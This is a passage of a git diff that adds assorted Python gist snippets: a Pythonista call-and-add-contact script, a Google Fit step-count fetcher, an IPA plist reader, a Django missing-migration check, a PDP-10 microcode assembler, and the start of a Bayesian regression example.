+		return ''.join(match)
+
+# Fetch text from clipboard and extract what looks like a phone number
+input = clipboard.get()
+match = re.search("[0-9\+\-\ ]{7,}",input)
+output = match.group(0)
+clipboard.set(output)
+console.hud_alert(output,icon='success',duration=1)
+		
+# Check if the number exists in the phonebook
+people = contacts.get_all_people()
+found = False
+for p in people:
+	for n in p.phone:
+		# Numbers can be stored strangely in contacts so just check the last 9 digits
+		num = extract_num(output)
+		cleannum = extract_num(n[1])
+		if (num[-9:] == cleannum[-9:]):
+			found = True
+
+# Pop a form to add the contact if not found
+if not found:
+	fields = [ {'type':'text','key':'first','value':'','title':'First Name'},{'type':'text','key':'last','value':'','title':'Last Name'},{'type':'text','key':'org','value':'','title':'Organisation'},{'type':'text','key':'num','value':output,'title':'Number'},	{'type':'text','key':'note','value':'Added by Make Call script on '+datetime.datetime.now().ctime(),'title':'Notes'} ]
+	fields = dialogs.form_dialog('Add a Contact', fields)
+			
+	newContact = contacts.Person()
+	newContact.note = fields['note']
+	newContact.first_name = fields['first']
+	newContact.last_name = fields['last']
+	newContact.organization = fields['org']
+	newContact.phone = [(contacts.WORK,fields['num'])]
+	contacts.add_person(newContact)
+	contacts.save()
+
+# Call the number
+webbrowser.open('tel:'+urllib.quote(output))
\ No newline at end of file
diff --git a/hard-gists/a8c96f1aeb41393dadf6/._snippet.py b/hard-gists/a8c96f1aeb41393dadf6/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a8c96f1aeb41393dadf6/._snippet.py differ
diff --git a/hard-gists/a8c96f1aeb41393dadf6/snippet.py b/hard-gists/a8c96f1aeb41393dadf6/snippet.py
new file mode 100644
index 00000000..54bde77d
--- /dev/null
+++ b/hard-gists/a8c96f1aeb41393dadf6/snippet.py
@@ -0,0 +1,70 @@
+#! /usr/bin/env python
+#-*- coding: utf-8 -*-
+
+import json
+import httplib2
+
+from datetime import datetime
+from apiclient.discovery import build
+from oauth2client.client import OAuth2WebServerFlow
+
+# Copy your credentials from the Google Developers Console
+CLIENT_ID = 'XXXXXXXXXXXXXXXXXX.apps.googleusercontent.com'
+CLIENT_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXX'
+
+# Check https://developers.google.com/fit/rest/v1/reference/users/dataSources/datasets/get
+# for all available scopes
+OAUTH_SCOPE = 'https://www.googleapis.com/auth/fitness.activity.read'
+
+# DATA SOURCE
+DATA_SOURCE = "derived:com.google.step_count.delta:com.google.android.gms:estimated_steps"
+
+# The ID is formatted like: "startTime-endTime" where startTime and endTime are
+# 64 bit integers (epoch time with nanoseconds).
+DATA_SET = "1051700038292387000-1451700038292387000"
+
+# Redirect URI for installed apps
+REDIRECT_URI = 'urn:ietf:wg:oauth:2.0:oob'
+
+def retrieve_data():
+    """
+    Run through the OAuth flow and retrieve credentials.
+    Returns a dataset (Users.dataSources.datasets):
+    https://developers.google.com/fit/rest/v1/reference/users/dataSources/datasets
+    """
+    flow = OAuth2WebServerFlow(CLIENT_ID, CLIENT_SECRET, OAUTH_SCOPE, REDIRECT_URI)
+    authorize_url = flow.step1_get_authorize_url()
+    print 'Go to the following link in your browser:'
+    print authorize_url
+    code = raw_input('Enter verification code: ').strip()
+    credentials = flow.step2_exchange(code)
+
+    # Create an httplib2.Http object and authorize it with our credentials
+    http = httplib2.Http()
+    http = credentials.authorize(http)
+
+    fitness_service = build('fitness', 'v1', http=http)
+
+    return fitness_service.users().dataSources(). \
+              datasets(). \
+              get(userId='me', dataSourceId=DATA_SOURCE, datasetId=DATA_SET). \
+              execute()
+
+def nanoseconds(nanotime):
+    """
+    Convert epoch time with nanoseconds to human-readable.
+    """
+    dt = datetime.fromtimestamp(nanotime // 1000000000)
+    return dt.strftime('%Y-%m-%d %H:%M:%S')
+
+if __name__ == "__main__":
+    # Point of entry in execution mode:
+    dataset = retrieve_data()
+    with open('dataset.txt', 'w') as outfile:
+        json.dump(dataset, outfile)
+
+    last_point = dataset["point"][-1]
+    print "Start time:", nanoseconds(int(last_point.get("startTimeNanos", 0)))
+    print "End time:", nanoseconds(int(last_point.get("endTimeNanos", 0)))
+    print "Data type:", last_point.get("dataTypeName", None)
+    print "Steps:", last_point["value"][0].get("intVal", None)
\ No newline at end of file
diff --git a/hard-gists/a8ddb994df41583b64f8/._snippet.py b/hard-gists/a8ddb994df41583b64f8/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a8ddb994df41583b64f8/._snippet.py differ
diff --git a/hard-gists/a8ddb994df41583b64f8/snippet.py b/hard-gists/a8ddb994df41583b64f8/snippet.py
new file mode 100644
index 00000000..967f2bfe
--- /dev/null
+++ b/hard-gists/a8ddb994df41583b64f8/snippet.py
@@ -0,0 +1,28 @@
+#!/usr/bin/env python
+
+from Foundation import NSData, NSPropertyListSerialization
+import fnmatch
+import sys
+from zipfile import ZipFile
+
+# TODO: Add error checking.
+
+def parse_plist(info_plist_string):
+  # Use PyObjC, pre-installed in Apple's Python dist.
+  data = NSData.dataWithBytes_length_(info_plist_string, len(info_plist_string))
+  return NSPropertyListSerialization.propertyListWithData_options_format_error_(data, 0, None, None)
+
+def parse_ipa_info(ipa_path):
+  ipa_zip = ZipFile(ipa_path)
+  files = ipa_zip.namelist()
+  info_plist = fnmatch.filter(files, "Payload/*.app/Info.plist")[0]
+  info_plist_bin = ipa_zip.read(info_plist)
+  info = parse_plist(info_plist_bin)[0]
+  ipa_zip.close()
+  
+  return info
+
+
+if __name__ == "__main__":
+  print parse_ipa_info(sys.argv[1])
+
diff --git a/hard-gists/a8f87b0d95e73eb482c5/._snippet.py b/hard-gists/a8f87b0d95e73eb482c5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a8f87b0d95e73eb482c5/._snippet.py differ
diff --git a/hard-gists/a8f87b0d95e73eb482c5/snippet.py b/hard-gists/a8f87b0d95e73eb482c5/snippet.py
new file mode 100644
index 00000000..8ed20ad4
--- /dev/null
+++ b/hard-gists/a8f87b0d95e73eb482c5/snippet.py
@@ -0,0 +1,45 @@
+import sys
+
+from django.apps import apps
+from django.conf import settings
+from django.core.management.base import BaseCommand
+from django.db import connections
+from django.db.migrations.autodetector import MigrationAutodetector
+from django.db.migrations.executor import MigrationExecutor
+from django.db.migrations.state import ProjectState
+from django.db.utils import OperationalError
+
+
+class Command(BaseCommand):
+    """
+    Detect if any apps have missing migration files
+
+    (not necessaily applied though)
+    """
+    help = "Detect if any apps have missing migration files"
+
+    def handle(self, *args, **kwargs):
+
+        changed = set()
+
+        self.stdout.write("Checking...")
+        for db in settings.DATABASES.keys():
+
+            try:
+                executor = MigrationExecutor(connections[db])
+            except OperationalError:
+                sys.exit("Unable to check migrations: cannot connect to database\n")
+
+            autodetector = MigrationAutodetector(
+                executor.loader.project_state(),
+                ProjectState.from_apps(apps),
+            )
+
+            changed.update(autodetector.changes(graph=executor.loader.graph).keys())
+
+        if changed:
+            sys.exit("Apps with model changes but no corresponding migration file: %(changed)s\n" % {
+                'changed': list(changed)
+            })
+        else:
+            sys.stdout.write("All migration files present\n")
diff --git a/hard-gists/a90c6f22372de8859f14/._snippet.py b/hard-gists/a90c6f22372de8859f14/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a90c6f22372de8859f14/._snippet.py differ
diff --git a/hard-gists/a90c6f22372de8859f14/snippet.py b/hard-gists/a90c6f22372de8859f14/snippet.py
new file mode 100644
index 00000000..6ec84f37
--- /dev/null
+++ b/hard-gists/a90c6f22372de8859f14/snippet.py
@@ -0,0 +1,671 @@
+#!/usr/bin/python
+
+# A microcode assembler
+
+import os
+import os.path
+import re
+import collections
+
+import IPython.Shell
+ipsh = IPython.Shell.IPShellEmbed()
+
+class Symbol(object):
+    def __init__(self,s):
+        self.str = intern(s)
+
+def s(str_):
+    return Symbol(str_)
+
+class Microcode(object):
+
+    def linenormalizer(self,instream):
+        pending = []
+        for a in instream:
+            a = a.rstrip('\r\n').replace('\f','')
+            
+            try:
+                a = a[:a.index(';')]
+            except ValueError:
+                pass
+            a = a.strip(' \t')
+            if a:
+                pending.append(a)
+                if not a.endswith(','):
+                    yield "\n".join(pending)
+                    pending = []
+        if pending:
+            yield "\n".join(pending)
+
+    def parse(self,instream,processor):
+        postre = r'[ \t]*([^ \t].*)?$'
+        setre = re.compile(r'\.(?:DEFAULT|SET)/([^=]*)=(.*)$')
+        fieldspec1 = re.compile(r'[^,<]+(?:<[^>]*>)?(?=,|$)')
+        constraintRE = re.compile(r'^=([01*]*)' + postre, re.DOTALL)
+        labelRE = re.compile(r'^([^ \t</=]+):' + postre, re.DOTALL)
+        fielddefRE = re.compile(r'([^/]+)/=<([0-9]+)(?::([0-9]+))?>([+DFTP])?(?:,(.*))?')
+        macroRE = re.compile(r'([^"]*[^" \t])[ \t]+"([^"]+)"$')
+        fieldspec2 = re.compile(r'((?:[^\]\[/]|\[[^\]]+\])+)(?:/([^/\]\[]*[^/,\[\] \t]))?[ \t]*$')
+        for x in self.linenormalizer(instream):
+            # Various directives...
+            if x.startswith('.'):
+                d = True
+                if x.startswith('.TOC'):
+                    tocline = x[4:].strip(' \t').strip('"')
+                    processor.toc(tocline)
+                elif x.startswith('.BIN'):
+                    processor.bin(True)
+                elif x.startswith('.NOBIN'):
+                    processor.bin(False)
+                elif x.startswith('.DCODE'):
+                    processor.dcode()
+                elif x.startswith('.UCODE'):
+                    processor.ucode()
+                elif x.startswith('.DEFAULT'):
+                    k,v = setre.match(x).groups()
+                    processor.default(k,int(v))
+                elif x.startswith('.SET'):
+                    k,v = setre.match(x).groups()
+                    processor.set(k,int(v))
+                elif x.startswith('.ENDIF'):
+                    processor.endif(x.split('/',1)[1])
+                elif x.startswith('.IFNOT'):
+                    processor.ifnot(x.split('/',1)[1])
+                elif x.startswith('.IF'):
+                    processor.if_(x.split('/',1)[1])
+                elif x.startswith('.RAMFILE'):
+                    line = fieldspec1.findall(x.replace('\n','').replace('\t','').split('/',1)[1])
+                    processor.ramfile(line)
+                elif x.startswith('.TITLE'):
+                    processor.title(x[6:].strip(' \t').strip('"'))
+                elif x.startswith('.WIDTH'):
+                    processor.width(int(x.split('/')[1]))
+                else:
+                    d = False
+                if d:
+                    continue
+            # not a directive
+            if x.startswith('='):
+                try:
+                    a = constraintRE.match(x).groups()
+                except:
+                    raise Exception('Constraint: ' + x)
+                processor.constraint(a[0])
+                if a[1]:
+                    x = a[1]
+                else:
+                    continue
+            elif labelRE.match(x):
+                a = labelRE.match(x).groups()
+                processor.label(a[0])
+                if a[1]:
+                    x = a[1]
+                else:
+                    continue
+            elif '/=' in x:
+                # field def...
+                a = fielddefRE.match(x).groups()
+                assert a, "Bad fielddef?"
+                processor.def_field(a[0],
+                                      int(a[1]), int(a[2]) if a[2] else None,
+                                      a[3],
+                                      a[4])
+                continue
+            elif '=' in x:
+                assert x.count('=') == 1
+                sym,val = x.split('=')
+                processor.def_sym(sym,val)
+                continue
+            elif '"' in x:
+                try:
+                    name,val = macroRE.match(x).groups()
+                except AttributeError:
+                    raise Exception('Macro: ' + x)
+                processor.def_macro(name,val)
+                continue
+
+            l = []
+            for i in x.replace('\n','').replace('\t','').split(','):
+                #try:
+                l.append(fieldspec2.match(i).groups())
+                #except Exception, e:
+                #    raise Exception('Fieldspec: ' + i + ">", e)
+            processor.instruction(l)
+                
+        processor.finish()
+        return processor
+
+def parseInt(x):
+    base = 8
+    if x.endswith('.'):
+        x = x[:-1]
+        base = 10
+    elif '9' in x or '8' in x:
+        base = 10
+    return int(x,base)
+    
+class SexpProcessor(object):
+    def __init__(self):
+        self.data = []
+        self.infield = False
+        self.fieldvals = None
+        self.cond = set()
+    def addcond(self,lst):
+        if self.cond:
+            return [s('when'),list(cond),lst]
+        else:
+            return lst
+    def p(self,*args):
+        self.data.append(addcond(list(args)))
+        self.infield = False
+        self.fieldvals = False
+    def toc(self,toc):
+        self.p(s("toc"), toc)
+    def set(self,var,val):
+        self.p(s("set"),s(var),val)
+    def def_field(self,name,l,r,mode,default):
+        args = [s("field"),s(name),
+                [s("range"),l,r]
+                ]
+        if mode == 'D':
+            args.append([s('default'), int(default,8)])
+        elif mode == 'F':
+            args.append([s('default'), s(default)])
+        elif mode == '+':
+            assert default is None
+            args.append([s('default'), s('+')])
+        elif mode is None:
+            assert default is None
+        else:
+            assert "Unknown mode " + mode
+        self.data.append(args)
+        self.infield = True
+        self.fieldvals = None
+    def def_sym(self,name,val):
+        assert self.infield
+        if not self.fieldvals:
+            self.fieldvals = [s('fields')]
+            assert self.data[-1][0].str == 'field'
+            self.data[-1].append(self.fieldvals)
+        self.fieldvals.append([s(name),parseInt(val)])
+    def bin(self,binp):
+        self.p(s('bin'),binp)
+    def title(self,title):
+        self.p(s('title'),title)
+    def default(self,name,val):
+        self.p(s('setdefault'),s(name),val)
+    def width(self,val):
+        self.p(s('width'),val)
+    def ramfile(self,val):
+        self.p(s('ramfile'),*val)
+    def ifnot(self,val):
+        pass
+
+class SingleAssignmentList(list):
+    def __init__(self,iter=[]):
+        self.__items = set()
+    def __setitem__(self,i,v):
+        if i in self.__items:
+            raise Exception("Not modifiable")
+        self.__items.add(i)
+        self[i] = v
+            
+    
+class AddressAllocator(object):
+    __slots__ = ("alloced","pc","mask","constraint",
+                 'rmap','labels','modemap',
+                 'target_mode','cur_mode','ino','size',
+                 'sequential')
+    MODE_ABS = 1
+    MODE_EQ = 2
+    MODE_UNC = 3
+    def __init__(self,size):
+        self.sequential = False
+        self.alloced = [False] * size
+        self.rmap = [None] * size
+        self.modemap = [None] * size
+        self.pc = None
+        self.size = size
+        self.constraint = None
+        self.target_mode = 0
+        self.cur_mode = -1
+        self.labels = {}
+        self.ino = 0
+    def statel(self):
+        return (self.pc,self.target_mode,self.cur_mode,self.ino,(len(self.constraint) if self.constraint else 0))
+    def i_insn(self,args):
+        #if self.target_mode == 2:
+        #    ipsh(header='i_insn')
+        #assert self.pc > -1 or self.target_mode == 1 or self.ino < 19,self.statel()
+        #print self.target_mode,self.ino,args
+        if self.ino == 1800:
+            print "1:", 
+        if self.should_process_p(self.ino):
+            if self.ino == 1800:
+                print "a", self.constraint, self.pc
+            self.rmap[self.ino] = self.pc
+            if self.cur_mode != self.MODE_ABS:
+                assert not self.alloced[self.pc],(self.statel() + (args,))
+            self.alloced[self.pc] = True
+        else:
+            assert self.target_mode != self.MODE_UNC or self.rmap[self.ino] is not None, (self.statel() + (args,))
+        if self.constraint:
+            self.pc = self.constraint.pop(0)
+            #self.pc = self.constraint.nextafter(self.pc)
+            self.ino += 1
+            return
+        self.pc = None # pc not known anymore. In unconstrained mode, the first case will cover this. Otherwise. we filled the block.
+        self.ino += 1
+         
+    def c_clear(self):
+        self.constraint = None
+        self.pc = None
+
+    def c_pos(self,pos):
+        self.cur_mode = self.MODE_ABS
+        self.constraint = None
+        self.pc = pos
+
+    def _match_pattern(self,pattern,mask,val):
+        return (pattern & mask) == (val & mask)
+    def gen_possibilities(self,mask):
+        possibilities = [0]
+        while mask != 0:
+            bit = mask & -mask # LSB
+            mask = mask & (mask-1)
+            possibilities.extend([a | bit for a in possibilities])
+        return possibilities
+    def s_label(self,lbl):
+        self.labels[lbl] = self.ino
+    def c_pattern(self,pat):
+        if self.target_mode != self.MODE_EQ:
+            return
+        #if self.target_mode != self.MODE_EQ:
+        #    self.cur_mode = self.MODE_EQ
+        #    return
+        def testmask(mask,pattern):
+            fullmask = self.size - 1
+            res = sorted(a | (mask & pattern)
+                         for a in self.gen_possibilities(fullmask & ~mask))
+            if self.target_mode != self.MODE_EQ:
+                self.constraint = res
+                return True
+            for x in res:
+                if self.alloced[x]:
+                    return False
+            self.constraint = res
+            return True
+        y = 0
+        n = 0
+        dc = self.size - 1
+        for i,x in enumerate(reversed(pat)):
+            if x == '0':
+                n |= 2**i
+            elif x == '1':
+                y |= 2 **i
+        dc ^= n | y
+        if self.constraint is not None and self.pc is not None:
+            if self._match_pattern(y,y|n,self.pc):
+                return
+            while self.constraint:
+                if self._match_pattern(y,y|n,self.constraint[0]):
+                    self.pc = self.constraint.pop(0)
+                    return
+                else:
+                    self.constraint.pop(0)
+            else:
+                raise Exception("Failed to allocate")
+        self.cur_mode = self.MODE_EQ
+        for x in sorted(a|y for a in self.gen_possibilities(dc)):
+            if testmask(y|dc, x):
+                self.pc = self.constraint.pop(0)
+                return
+        raise Exception("Could not allocate!")
+    def should_process_p(self,ino):
+        """ino is the insn number or tag name.
+
+        Return true if it should be processed, false otherwise
+
+        Side effects: If pc not known, and unconstrained, find free loc"""
+        if self.rmap[ino] is not None:
+            return False
+        if self.pc is not None:
+            return True
+        if self.target_mode != self.MODE_UNC:
+            return False
+        if self.sequential and ino > 0 and self.rmap[ino - 1] is not None and not self.alloced[self.rmap[ino - 1] + 1]:
+            self.pc = self.rmap[ino - 1] + 1
+            return True
+        for pc in range(0,self.size):
+            if not self.alloced[pc]:
+                #self.next_pc = pc - 1
+                self.pc = pc
+                self.constraint = None
+                return True
+        else:
+            raise Exception("No more room")
+    def next(self):
+        raise Exception()
+        #if self.cur_mode != self.target_mode:
+        #    return False
+        v = self.pc
+        if self.cur_mode == self.MODE_UNC:
+            if not self.alloced[self.pc]:
+                return self.pc
+            v = (v + 1) % self.size
+            while v != self.pc:
+                if not self.alloced[v]:
+                    return v
+                v = (v + 1) % self.size
+            else:
+                return -1
+                raise Exception("Could not place instruction")
+        elif self.constraint:
+            if not self.constraint:
+                self.cur_mode = self.MODE_UNC
+                return self.next()
+            v = self.constraint.pop(0)
+            #if not self.constraint:
+            #    self.cur_mode = self.MODE_UNC
+                
+            return v
+        elif self.cur_mode == self.MODE_ABS:
+            self.cur_mode = self.MODE_UNC
+            return self.next()
+        else:
+            raise Exception('wat')
+        
+class AssemblyState(object):
+    __slots__ = ("macros","fields","insns", #"stateless"
+                 "size","name","code",
+                 "labels",
+                 "cur_field", #Because of the interface
+                 )
+    FieldSpec = collections.namedtuple('FieldSpec','name range default values')
+    def __init__(self,size,name):
+        self.macros = {}
+        self.fields = {}
+        self.code = [None] * size
+        self.insns = []
+        self.size = size
+        self.name = name
+        self.cur_field = None
+    def def_field(self,name,(l,r),default):
+        assert name not in self.fields
+        f = self.FieldSpec(name=name,
+                           range=(l,r),
+                           default=default,
+                           values={})
+        self.fields[name] = f
+        self.cur_field = f
+    def def_sym(self,name,val):
+        try:
+            assert self.cur_field is not None
+            assert name not in self.cur_field.values
+        except:
+            print self.cur_field.name, name
+            raise
+        self.cur_field.values[name] = val
+    def def_macro(self,name,body):
+        self.macros[name] = body
+    def instruction(self,args):
+        self.insns.append( ('i_insn',args) )
+    def constraint(self,constraint):
+        if constraint == '':
+            self.insns.append( ('c_clear',))
+        else:
+            self.insns.append( ('c_pattern',constraint) )
+    def label(self,name):
+        #print self.name, name
+        if type(name) is int:
+            self.insns.append( ('c_pos', name) )
+        else:
+            if name == 'TENLP':
+                print "Here!"
+            self.insns.append( ('s_label',name) )
+
+    def runscript(self,script,processor,v=False):
+        for x in script:
+            if v:
+                print x
+            getattr(processor,x[0])(*x[1:])
+    def assign_addresses(self):
+        a = AddressAllocator(self.size)
+        if self.name[0].lower() == 'd':
+            a.sequential = True
+        mi = 0
+        for tmode in (a.MODE_ABS,a.MODE_EQ,a.MODE_UNC):
+            a.ino = 0
+            a.cur_mode = a.MODE_UNC
+            a.target_mode = tmode
+            self.runscript(self.insns,a)
+            mi = a.ino - 1
+        assert None not in a.rmap[:mi+1],a.rmap[:mi+1]
+        self.labels = {}
+        for k,v in a.labels.iteritems():
+            self.labels[k] = a.rmap[v]
+        if self.name[0].upper() == 'U':
+            print self.labels['TENLP']
+        self.runscript(self.insns,PostMapper(a.rmap,self.code,self.name))
+        
+    def load_labels(self,ldict):
+        self.fields['J'].values.update(ldict)
+    def assemble(self):
+        pass
+    def finish(self):
+        self.assign_addresses()
+        self.assemble()
+        
+class PostMapper(object):
+    __slots__ = ("rmap","data","ino",'chr')
+    
+    def __init__(self,rmap,data,name):
+        self.rmap = rmap
+        self.data = data
+        self.ino = 0
+        self.chr = name[0].upper()
+    def statel(self):
+        return (self.rmap[self.ino],self.ino)
+    def i_insn(self,args):
+        pos = self.rmap[self.ino]
+        assert self.data[pos] is None, self.statel()
+        self.data[pos] = (args,self.rmap[(self.ino + 1) % len(self.rmap)])
+        #print self.chr, self.ino, oct(pos).zfill(4), args
+        print "@", self.chr, oct(pos).lstrip('0').zfill(4) + ",", self.ino, ",", args
+        self.ino += 1
+    def c_clear(self):
+        pass
+    def c_pos(self,p):
+        pass
+    def c_pattern(self,p):
+        pass
+    def s_label(self,l):
+        pass
+        
+
+NEXT_INSN = object()
+class AssemblingProcessor(object):
+    UCODE = 1
+    DCODE = 2
+    
+    def __init__(self,AssemblyState = AssemblyState):
+        self.vars = {}
+        self.defaults = {}
+        self.conditions = {}
+        self.ucode_ = AssemblyState(2048,"ucode")
+        self.dcode_ = AssemblyState(512,"dcode")
+        self.destination = self.ucode_
+        self.setvars = set()
+        self.unsetvars = set()
+        self.output_enable = True
+        self.shouldCompile = True
+        self.shortcut = False
+    def toc(self,entry):
+        print " -- " + entry
+    def title(self,title):
+        print " --------------- " + title + " -------------- "
+
+    def setvar(self,var,val,default=False):
+        assert val in (0,1), "val: " + repr(val)
+        val = bool(val)
+        if default:
+            self.defaults[var] = val
+            if var in self.vars:
+                return
+        else:
+            self.vars[var] = val
+        vset = set([var])
+        if val:
+            self.setvars |= vset
+            self.unsetvars -= vset
+        else:
+            self.setvars -= vset
+            self.unsetvars |= vset
+        self._check_cond()
+        
+    def default(self,var,val):
+        self.setvar(var,val,default=True)
+    def set(self,var,val):
+        self.setvar(var,val,default=False)
+    def _check_cond(self,force=True):
+        #print self.vars
+        #print map(sorted, [self.setvars, self.unsetvars, self.vars.keys(),self.defaults.keys()])
+        assert (self.setvars | self.unsetvars) == (set(self.vars.keys()) | set(self.defaults.keys()))
+        assert not (self.setvars & self.unsetvars)
+        if self.shouldCompile and not force:
+            self.shortcut = True
+            return
+        self.shortcut = False
+        for k,v in self.conditions.iteritems():
+            if k in (self.unsetvars if v else self.setvars):
+                self.shouldCompile = False
+                break
+        else:
+            self.shouldCompile = True
+        return self.shouldCompile
+                
+    def if_(self,var):
+        #assert var not in self.conditions
+        self.conditions[var] = True
+        self._check_cond()
+    def ifnot(self,var):
+        #assert var not in self.conditions
+        self.conditions[var] = False
+        self._check_cond()
+    def endif(self,var):
+        assert var in self.conditions
+        del self.conditions[var]
+        self._check_cond(False)
+
+    def def_field(self,name,l,r,mode,default):
+        if not self.shouldCompile:
+            return
+        if r is None:
+            r = l
+        if mode == 'D':
+            d = parseInt(default)
+        elif mode == 'F':
+            d = intern(default)
+        elif mode == '+':
+            d = NEXT_INSN
+        elif mode is None:
+            d = None
+            assert default is None
+        else:
+            assert "Mode '%s' not understood"%(mode)
+        self.destination.def_field(name,(l,r),default)
+    def def_sym(self,name,val):
+        if not self.shouldCompile:
+            return
+        self.destination.def_sym(name,parseInt(val))
+    def def_macro(self,name,body):
+        if self.shouldCompile:
+            self.destination.def_macro(name,body)
+    def bin(self,enable):
+        self.output_enable = enable
+    def width(self,w):
+        self.bitwidth = w
+    def ramfile(self,args):
+        self.ramfilefmt = args
+    def ucode(self):
+        self.destination = self.ucode_
+    def dcode(self):
+        self.destination = self.dcode_
+    def label(self,pos):
+        try:
+            pos = int(pos,8)
+        except ValueError:
+            pass
+        if pos == 'TENLP':
+            print "Here!", self.shouldCompile, self.vars
+        if self.shouldCompile:
+            self.destination.label(pos)
+    def instruction(self,args):
+        if self.shouldCompile:
+            #print "%s %s"%(self.destination.name[0], str(args))
+            self.destination.instruction(args)
+    def constraint(self,constraint):
+        if self.shouldCompile:
+            self.destination.constraint(constraint)
+    def finish(self):
+        self.ucode_.finish()
+        self.dcode_.load_labels(self.ucode_.labels)
+        print "DCODE:     -----------------------------"
+        self.dcode_.finish()
+
+class CountingProcessor(object):
+    def __init__(self):
+        self._counts = {}
+    def getc(self):
+        return self._counts
+    def __getattr__(self,item):
+        if item in self.__dict__:
+            return self.__dict__[item]
+        else:
+            def foo(*args):
+                self._counts.setdefault(item,list()).append(args)
+            return foo
+
+
+class Multiset(collections.MutableSet,collections.Mapping):
+    def __init__(self,iterable=[]):
+        self.__items = {}
+        for x in iterable:
+            self.add(x)
+        pass
+    def discard(self,val):
+        if val in self.__items:
+            self.__items[val] -= 1
+            if self.__items[val] == 0:
+                del self.__items[val]
+    def __getitem__(self,key):
+        return self.__items[key]
+    def __iter__(self):
+        return iter(self.__items)
+    def __len__(self):
+        return len(self.__items)
+    def add(self,val):
+        self.__items[val] = self.__items.get(val,0) + 1
+    def str(self):
+        return str(self.__items)
+class Datacounter(object):
+    def __init__(self,**specs):
+        """Each spec should be a dictionary of (label -> test).  The
+           test is called as test(value,label). If it returns true,
+           that is considered a match.
+
+           """
+
+files = ["its.16","ks10.47","simple.42","flt.5","extend.4","inout.50","itspag.98","pagef.10"]
+instr = []
+def loadf(path="/home/thequux/projects/qs10/micro.in/"):
+    global instr
+    instr = []
+    for x in files:
+        instr.append('.TITLE\t" >>>>>>>> %s <<<<<<<<<<"\n' %x)
+        instr.extend(file(os.path.join(path,x),"r"))
+
+
+if __name__ == '__main__':
+    loadf()
+    Microcode().parse(instr,AssemblingProcessor())
\ No newline at end of file
diff --git a/hard-gists/a9de2ef498a09747bbf673ddf6ea4843/._snippet.py b/hard-gists/a9de2ef498a09747bbf673ddf6ea4843/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a9de2ef498a09747bbf673ddf6ea4843/._snippet.py differ
diff --git a/hard-gists/a9de2ef498a09747bbf673ddf6ea4843/snippet.py b/hard-gists/a9de2ef498a09747bbf673ddf6ea4843/snippet.py
new file mode 100644
index 00000000..dacd3e07
--- /dev/null
+++ b/hard-gists/a9de2ef498a09747bbf673ddf6ea4843/snippet.py
@@ -0,0 +1,261 @@
+""" Some description.
+"""
+from __future__ import absolute_import
+from __future__ import division
+from __future__ import print_function
+
+import sys
+import json
+import tqdm
+
+import numpy as np
+import tensorflow as tf
+import edward as ed
+
+N_FEATURES = 2
+DATA_LENGTH = 3
+
+REAL_WEIGHT = 0.7
+REAL_BIAS = 2.5
+REAL_DATA = np.array([2., 4., 6.])
+REAL_LABELS = REAL_WEIGHT * REAL_DATA + REAL_BIAS
+
+MC_SAMPLES = 100
+
+
+def create_fake_data():
+    data = np.random.randint(0, 10, DATA_LENGTH).astype(np.float32)
+    noise = np.random.randn(DATA_LENGTH).astype(np.float32)
+    labels = REAL_WEIGHT * data + REAL_BIAS + noise
+    return data, labels
+
+
+class Model:
+    def __init__(self, model_name, dropout_keep_prob=1.0):
+        self.model_name = model_name
+        self.dropout_keep_prob = dropout_keep_prob
+
+        self.x = tf.placeholder(tf.float32, (DATA_LENGTH, ))
+        self.y = tf.placeholder(tf.float32, (DATA_LENGTH, ))
+
+        if self.model_name == "simple_linear":
+            # -- set parameters
+            self.bias = tf.get_variable("bias", [1])
+            self.weight = tf.get_variable("weight", [1])  # should be 1.
+
+            # -- set dropout (optional)
+            self.add_dropout()
+
+            # -- set model
+            self.nn = self.weight * self.x + self.bias
+
+            # -- set loss
+            self.loss = tf.reduce_mean((self.y - self.nn) ** 2)
+
+        elif self.model_name == "bayesian_simple_linear":
+            # -- set priors
+            self.weight_mu = tf.zeros(1)  # tf.get_variable("weight_mu", [1])  
+            self.weight_sigma = tf.ones(1)  # fixed hyperparameters
+            self.weight = ed.models.Normal(mu=self.weight_mu, sigma=self.weight_sigma)
+
+            self.bias_mu = tf.zeros(1)  # tf.get_variable("bias_mu", [1])  
+            self.bias_sigma = tf.ones(1)  # fixed hyperparameters
+            self.bias = ed.models.Normal(mu=self.bias_mu, sigma=self.bias_sigma)
+
+            # -- set model
+            self.nn_mean = self.weight * self.x + self.bias
+            self.nn_sigma = tf.ones(1)  # fixed hyperparameters
+            self.nn = ed.models.Normal(mu=self.nn_mean, sigma=self.nn_sigma)
+
+            # -- set variational parameters
+            self.qweight = ed.models.Normal(
+                mu=tf.get_variable("qweight_mu", initializer=tf.random_normal([1])),
+                sigma=tf.nn.softplus(tf.get_variable("qweight_sigma", initializer=tf.random_normal([1]))))
+
+            self.qbias = ed.models.Normal(
+                mu=tf.get_variable("qbias_mu", initializer=tf.random_normal([1])),
+                sigma=tf.nn.softplus(tf.get_variable("qbias_sigma", initializer=tf.random_normal([1]))))
+
+            # -- inference
+            self.latent_vars = {self.weight: self.qweight, self.bias: self.qbias}
+            self.data = {self.nn: self.y}
+
+            self.loss = (self.latent_vars, self.data)
+
+        else:
+            raise ValueError("Wrong model error.")
+
+    def add_dropout(self):
+        self._keep_prob = tf.Variable(name="keep_prob", initial_value=self.dropout_keep_prob, trainable=False)
+
+        self.bias = tf.cond(
+            self._keep_prob < 1.0, lambda: tf.nn.dropout(self.bias, keep_prob=self._keep_prob), lambda: self.bias)
+        self.weight = tf.cond(
+            self._keep_prob < 1.0, lambda: tf.nn.dropout(self.weight, keep_prob=self._keep_prob), lambda: self.weight)
+
+    @property
+    def keep_prob(self):
+        return self._keep_prob
+
+    def optimize(self):
+
+        if _is_loss_function(self.loss):
+            # loss optimization
+            self.optimizer = tf.train.GradientDescentOptimizer(.005)
+            self.train_op = self.optimizer.minimize(self.loss)
+
+        else:
+            # variational inference
+            latent_vars, data = self.loss
+            self.inference = ed.KLqp(latent_vars=latent_vars, data=data)
+            self.inference.initialize()
+            self.train_op = self.inference
+
+        return self.train_op
+
+
+def _is_loss_function(loss):
+    return isinstance(loss, tf.Tensor)
+
+
+def _section(text):
+    print("-"*10 + " ", text.upper())
+
+
